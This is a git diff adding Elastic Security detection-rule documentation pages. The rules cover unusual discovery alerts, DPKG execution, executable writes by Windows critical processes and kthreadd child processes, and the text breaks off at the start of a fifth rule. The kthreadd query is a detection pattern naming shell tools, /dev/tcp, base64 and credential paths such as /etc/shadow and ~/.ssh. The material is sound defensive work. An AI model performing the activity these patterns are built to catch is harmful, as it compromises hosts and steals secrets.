--- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-discovery-signal-alert-with-unusual-process-executable.asciidoc @@ -0,0 +1,109 @@ +[[prebuilt-rule-8-19-34-unusual-discovery-signal-alert-with-unusual-process-executable]] +=== Unusual Discovery Signal Alert with Unusual Process Executable + +This rule leverages Discovery building block rule alert data to alert on signals with unusual unique host.id, user.id and process.executable entries. + +*Rule type*: new_terms + +*Rule indices*: + +* .alerts-security.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Discovery Signal Alert with Unusual Process Executable* + + +In Windows environments, discovery activities often involve querying system information, which adversaries exploit to gather intelligence for further attacks. They may use uncommon processes to evade detection. This detection rule identifies anomalies by flagging signals with rare host, user, and process combinations, indicating potential misuse of discovery tactics. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id, user.id, and process.executable involved in the alert to understand the context of the unusual activity. +- Check the historical activity of the identified host.id and user.id to determine if this combination has been seen before and assess if the behavior is truly anomalous. +- Investigate the process.executable to verify its legitimacy, including checking its file path, digital signature, and any known associations with legitimate or malicious software. +- Correlate the alert with other security events or logs from the same host or user to identify any additional suspicious activities or patterns that may indicate a broader threat. +- Consult threat intelligence sources to determine if the process.executable or any related indicators are associated with known threat actors or campaigns. +- Assess the potential impact and risk of the activity by considering the host's role within the network and the user's access level to sensitive data or systems. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts if they involve uncommon processes. Identify these tasks and create exceptions for known benign activities to prevent unnecessary alerts. +- Software updates or installations can generate unusual process executions. Monitor and document these events, and exclude them from alerts if they are verified as legitimate. +- Custom scripts or tools used by IT staff for system management might be flagged. Review these scripts and whitelist them if they are part of regular operations. +- Automated processes or scheduled tasks that run under specific user accounts may appear suspicious. Verify these tasks and exclude them if they are part of normal system behavior. +- Third-party security or monitoring tools might use unique processes for legitimate discovery activities. Validate these tools and add them to the exception list to avoid false positives. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further lateral movement or data exfiltration. Disconnect it from the network while maintaining power to preserve volatile data for forensic analysis. +- Terminate the unusual process executable identified in the alert to halt any ongoing malicious activity. Use task management tools or scripts to ensure the process is stopped. +- Conduct a thorough review of the user account associated with the alert. Reset the account credentials and enforce multi-factor authentication to prevent unauthorized access. +- Analyze the process executable and its origin. Check for any associated files or scripts that may have been dropped on the system and remove them. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring on the affected host and user account to detect any further suspicious activities. Use enhanced logging and alerting to capture detailed information. +- Review and update endpoint protection policies to block similar unusual processes in the future, ensuring that the security tools are configured to detect and respond to such anomalies. + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.kind:signal and kibana.alert.rule.rule_id:"1d72d014-e2ab-4707-b056-9b96abe7b511" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-dpkg-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-dpkg-execution.asciidoc new file mode 100644 index 0000000000..8d420531f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-dpkg-execution.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-unusual-dpkg-execution]] +=== Unusual DPKG Execution + +This rule detects the execution of the DPKG command by processes not associated with the DPKG package manager. The DPKG command is used to install, remove, and manage Debian packages on a Linux system. Attackers can abuse the DPKG command to install malicious packages on a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.makeuseof.com/how-deb-packages-are-backdoored-how-to-detect-it/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual DPKG Execution* + + +DPKG is a core utility in Debian-based Linux systems for managing software packages. While essential for legitimate software management, adversaries can exploit DPKG to install or manipulate packages for malicious purposes, potentially gaining persistence or executing unauthorized code. The detection rule identifies anomalies by flagging DPKG executions initiated by unexpected processes, which may indicate unauthorized package management activities. + + +*Possible investigation steps* + + +- Review the process details to identify the unexpected process that initiated the DPKG execution. Pay attention to the process.executable field to understand which script or binary was executed. +- Examine the process.parent.name and process.parent.executable fields to determine the parent process that launched the DPKG command. This can provide insights into whether the execution was part of a legitimate process chain or potentially malicious. +- Investigate the process.session_leader.name and process.group_leader.name fields to understand the broader context of the session and group leaders involved in the execution. This can help identify if the execution was part of a larger, coordinated activity. +- Check the system logs and any available audit logs around the time of the alert to gather additional context on the activities occurring on the system. Look for any other suspicious or related events. +- Assess the system for any unauthorized or unexpected package installations or modifications that may have occurred as a result of the DPKG execution. This can help determine if the system has been compromised. + + +*False positive analysis* + + +- System maintenance scripts may trigger the rule if they execute DPKG commands outside of typical package management processes. To handle this, identify and whitelist these scripts by adding their parent process names or executables to the exception list. +- Automated software update tools, other than the ones specified in the rule, might cause false positives. Review the tools used in your environment and consider adding their executables to the exclusion criteria if they are verified as safe. +- Custom administrative scripts that manage packages could be flagged. Ensure these scripts are reviewed for legitimacy and then exclude their process names or paths from the rule to prevent unnecessary alerts. +- Development or testing environments where package manipulation is frequent might generate alerts. In such cases, consider creating environment-specific exceptions to reduce noise while maintaining security in production systems. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized package installations or potential lateral movement by the adversary. +- Terminate any suspicious processes identified as executing the DPKG command from unexpected sources to halt any ongoing malicious activities. +- Conduct a thorough review of recently installed or modified packages on the affected system to identify and remove any unauthorized or malicious software. +- Restore the system from a known good backup if malicious packages have been installed and cannot be safely removed without compromising system integrity. +- Update and patch the affected system to ensure all software is up-to-date, reducing the risk of exploitation through known vulnerabilities. +- Implement stricter access controls and monitoring on package management utilities to prevent unauthorized use, ensuring only trusted processes can execute DPKG commands. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.executable : "/var/lib/dpkg/info/*" and process.session_leader.name != null and +process.group_leader.name != null and not ( + process.parent.name in ("dpkg", "dpkg-reconfigure", "frontend") or + process.session_leader.name == "dpkg" or + process.group_leader.name == "dpkg" or + process.parent.executable in ("/usr/share/debconf/frontend", "/usr/bin/unattended-upgrade") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-executable-file-creation-by-a-system-critical-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-executable-file-creation-by-a-system-critical-process.asciidoc new file mode 100644 index 0000000000..1524517492 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-executable-file-creation-by-a-system-critical-process.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-unusual-executable-file-creation-by-a-system-critical-process]] +=== Unusual Executable File Creation by a System Critical Process + +Identifies an unexpected executable file being created or modified by a Windows system critical process, which may indicate activity related to remote code execution or other forms of exploitation. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Executable File Creation by a System Critical Process* + + + +*Possible investigation steps* + + +- What exact critical-process write did the alert preserve? + - Focus: `process.name`, `process.executable`, `file.path`, `file.extension`, and `event.action`; writer should match a critical-process name in the query. + - Implication: escalate faster when it writes an EXE or DLL in user-writable, startup, temp, or other non-servicing paths; lower concern only for protected OS servicing paths or a repaired vendor product tree. +- Is the writer the expected protected Windows binary, not a masquerade or tampered copy? + - Why: exploitation for defense evasion can preserve a genuine protected-process identity while changing what that process writes. + - Focus: `process.executable`, `process.code_signature.subject_name`, and `process.code_signature.trusted`; recover `process.hash.sha256` and `process.pe.original_file_name` from matching process-start events on `host.id` and `process.entity_id` when absent. !{investigate{"description":"","label":"Process start for the writing process","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when path, signer, hash, or original file name conflicts with the expected critical process; if identity is the expected Microsoft binary, continue because exploitation can still force a genuine process to write attacker-controlled content. +- What launch and user context led to the write? + - Why: client-side or service exploitation often appears as Office, browser, script, archive, or user-profile ancestry before an abnormal critical-process file write. + - Focus: matching process-start event: `process.command_line`, `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, and `user.id`. + - Implication: escalate when the chain traces to Office, browser, script, archive, LOLBin, or user-profile activity before the critical-process write; lower concern only when parentage and user context align with OS servicing or one bounded product repair. +- Does the written artifact look staged or renamed rather than serviced? + - Focus: `file.path`, `file.Ext.original.path`, `file.Ext.original.extension`, `file.Ext.header_bytes`, and `file.Ext.windows.zone_identifier`. !{investigate{"description":"","label":"File activity for the written path on this host","providers":[[{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when content is renamed into an executable extension, lands in a deceptive or writable path, carries internet provenance, or header bytes do not fit the file name. +- Did the written file become an execution target or command-line dependency? + - Focus: same-writer file activity on `host.id` and `process.entity_id`, plus later process starts from `file.path`. !{investigate{"description":"","label":"Events for the writing process on this host","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: for EXE reuse, inspect later process starts where `process.executable` equals `file.path`; for DLL writes, search `process.command_line` for the path and treat a quiet result as unresolved, not benign. !{investigate{"description":"","label":"Process starts from the written file path on this host","providers":[[{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{file.path}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}],[{"excluded":false,"field":"process.command_line","queryType":"phrase","value":"{{file.path}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the artifact executes or is referenced by follow-on commands; if the same-process file view is quiet, use the EXE or DLL recovery cue before lowering urgency. +- If local evidence remains suspicious or unresolved, does the artifact pattern recur on this host or other hosts? + - Focus: related alerts for the same written `file.path`; add writer `process.executable` only after alert or identity confirms it. !{investigate{"description":"","label":"Alerts associated with the written file path","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare related alerts for the same `host.id` and `host.name` before broadening to other assets. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same artifact path, writer identity, or follow-on execution appears on multiple hosts or repeats on the same host; localize when evidence stays limited to one short-lived, well-bounded servicing chain. +- Escalate for abnormal identity, exploit-like lineage, staged content, execution/reference, or recurrence; close only when identity, lineage, artifact, and scope bind one servicing or vendor-maintenance workflow with no contradictions; preserve artifacts and escalate when evidence stays mixed or incomplete. + + +*False positive analysis* + + +- Windows servicing/component repair or product/security-agent upgrade can replace binaries in protected OS or vendor paths. Confirm writer identity (`process.executable`, `process.code_signature.subject_name`, `process.hash.sha256`, `process.pe.original_file_name`), lineage (`process.parent.executable`, `process.Ext.ancestry`), and `file.path` all match one servicing or product workflow on the same `host.id`; for vendor repair, also require the path to stay inside the vendor directory and no user-writable staging, staged rename, or later execution from that path. If maintenance records are unavailable, use prior alerts from this rule for the same host and require the same protected path pattern without staged rename or later execution. +- Before creating an exception, require recurrence for the same `host.id` plus stable `process.executable`, `process.code_signature.subject_name`, parent context, and protected `file.path` pattern. Avoid exceptions on `process.name`, `file.extension`, or the whole critical-process list alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the servicing or vendor-maintenance evidence: writer identity, parent context, written path, content indicators, and host scope. Create an exception only after the bounded pattern recurs. +- If suspicious but unconfirmed, export the alert file event and matching process-start event, preserve a copy of the written file when safe, and record the writer `process.entity_id`, `process.command_line`, `process.parent.executable`, `file.path`, and recovered `process.hash.sha256` before containment. Apply reversible containment first, such as heightened monitoring or temporary host isolation when host criticality allows, and avoid deleting the artifact until scope is clearer. +- If confirmed malicious, isolate the host when writer identity, lineage, artifact, or execution evidence establishes unauthorized activity. Record `process.entity_id`, `process.executable`, `process.command_line`, `file.path`, and recovered hashes before killing processes or deleting files; then terminate the offending process if still active and quarantine only the executable or DLL artifacts identified during investigation. +- Post-incident hardening should verify why a critical process could write executable content, restore affected files from trusted media when replacement occurred, retain process and file telemetry that supported the case, and document artifact-path or lineage variants in the incident record for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : ("exe", "dll") and + process.name : ("smss.exe", + "autochk.exe", + "csrss.exe", + "wininit.exe", + "services.exe", + "lsass.exe", + "winlogon.exe", + "userinit.exe", + "LogonUI.exe") and + not ( + process.name : "smss.exe" and + file.path : ( + "?:\\Windows\\System32\\wpbbin.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\wpbbin.exe" + ) + ) and + not ( + process.name : "lsass.exe" and + file.path : ( + "?:\\Windows\\System32\\eac_usermode_*.dll", + "\\Device\\HarddiskVolume*\\Windows\\System32\\eac_usermode_*.dll" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Exploitation for Defense Evasion +** ID: T1211 +** Reference URL: https://attack.mitre.org/techniques/T1211/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc new file mode 100644 index 0000000000..85870aa95a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-unusual-execution-from-kernel-thread-kthreadd-parent]] +=== Unusual Execution from Kernel Thread (kthreadd) Parent + +This rule detects suspicious child process from the kernel thread (kthreadd) parent process. Attackers may execute payloads from kernel space via kthreadd to perform actions on the host and evade detection. Through the usage of the new_terms rule type, this rule can identify uncommon child processes that may indicate the presence of a malicious process. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Execution from Kernel Thread (kthreadd) Parent* + + +The kernel thread (kthreadd) is a fundamental component in Linux systems responsible for managing kernel-level processes. Adversaries may exploit kthreadd to execute payloads from kernel space, thereby evading detection due to its trusted status. The detection rule identifies suspicious child processes initiated by kthreadd, focusing on unusual executable paths and command lines indicative of malicious activity, while filtering out known benign processes. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific child process name and executable path that triggered the rule. Focus on paths like /dev/shm, /tmp, /var/tmp, and /var/www, which are commonly used for storing temporary or potentially malicious files. +- Examine the command line arguments associated with the suspicious process. Look for indicators of compromise such as references to sensitive files or directories like /etc/shadow, /etc/sudoers, or ~/.ssh, as well as suspicious commands like base64 or cron. +- Check the parent process details to confirm it is indeed kthreadd. Investigate any unusual behavior or anomalies in the parent process that might suggest exploitation or manipulation. +- Investigate the network activity of the host to identify any connections to suspicious IP addresses or domains, especially if the command line includes references to /dev/tcp or other network-related paths. +- Analyze the system logs and historical data to determine if similar alerts have been triggered in the past, which might indicate a persistent threat or repeated exploitation attempts. +- Assess the risk and impact of the detected activity by correlating it with other security events or alerts on the host, considering the medium severity and risk score of 47 associated with this rule. + + +*False positive analysis* + + +- Legitimate system maintenance tasks may trigger this rule, such as automated scripts running from temporary directories. Users can create exceptions for specific scripts or processes that are verified as safe. +- Development or testing environments often use temporary directories for executing scripts. Exclude known development tools or scripts from these environments to reduce noise. +- Some monitoring or backup tools might use command lines or executables that match the rule's criteria. Identify these tools and add them to the exclusion list to prevent false alerts. +- Custom administrative scripts that perform routine checks or updates might inadvertently match the rule. Review these scripts and exclude them if they are part of regular operations. +- If certain processes are consistently flagged but are known to be benign, consider adjusting the rule to exclude these specific processes or command lines to improve detection accuracy. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further malicious activity and lateral movement within the network. +- Terminate any suspicious processes identified as child processes of kthreadd that match the alert criteria, ensuring to log the process details for further analysis. +- Conduct a thorough review of the file paths and command lines flagged in the alert to identify any unauthorized or malicious files or scripts. Remove or quarantine these files as necessary. +- Check for unauthorized modifications in critical system files and directories such as /etc/init.d, /etc/ssh, and /root/.ssh. Restore any altered files from a known good backup. +- Escalate the incident to the security operations team for a deeper forensic investigation to determine the root cause and entry point of the threat. +- Implement additional monitoring on the affected host and similar systems to detect any recurrence of the threat, focusing on the specific indicators identified in the alert. +- Update and patch the affected system to the latest security standards to mitigate vulnerabilities that may have been exploited by the adversary. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and process.parent.name:kthreadd and ( + process.executable:(/dev/shm/* or /tmp/* or /var/tmp/* or /var/www/*) or + process.name:(bash or csh or curl or dash or fish or id or ksh or nohup or setsid or sh or tcsh or wget or whoami or zsh) +) and +process.command_line:( + */dev/shm/* or */dev/tcp/* or */etc/init.d* or */etc/ld.so* or */etc/profile* or */etc/rc.local* or */etc/shadow* or */etc/ssh* or + */etc/sudoers* or */home/*/.ssh/* or */root/.ssh* or */tmp/* or */var/log/* or */var/run/* or */var/tmp/* or */var/www/* or + *base64* or *cron* or *xxd* or *~/.ssh/* +) and not ( + process.name:(true or cifs.upcall or dpkg or flock or gdbus or getopt or grep or mount or touch or umount or uname) or + process.command_line:( + "sh -c /bin/true" or */bin/ps* or */usr/bin/find* or */usr/bin/grep* or *ds_agent* or *gitlabrunner* or *nagios* or + *omsagent* or *pgrep* + ) or + process.executable:( + /lib/systemd/systemd-cgroups-agent or /proc/self/exe or /usr/local/axs-haproxy-monitoring/haproxy_stats.sh or /tmp/newroot/* or + /var/lib/docker/overlay2/* or /vz/root/* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-execution-via-microsoft-common-console-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-execution-via-microsoft-common-console-file.asciidoc new file mode 100644 index 0000000000..abee39eabe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-execution-via-microsoft-common-console-file.asciidoc @@ -0,0 +1,219 @@ +[[prebuilt-rule-8-19-34-unusual-execution-via-microsoft-common-console-file]] +=== Unusual Execution via Microsoft Common Console File + +Identifies the execution of a child process from a Microsoft Common Console file. Adversaries may embed a malicious command in an MSC file in order to trick victims into executing malicious commands. + +*Rule type*: eql + +*Rule indices*: + +* 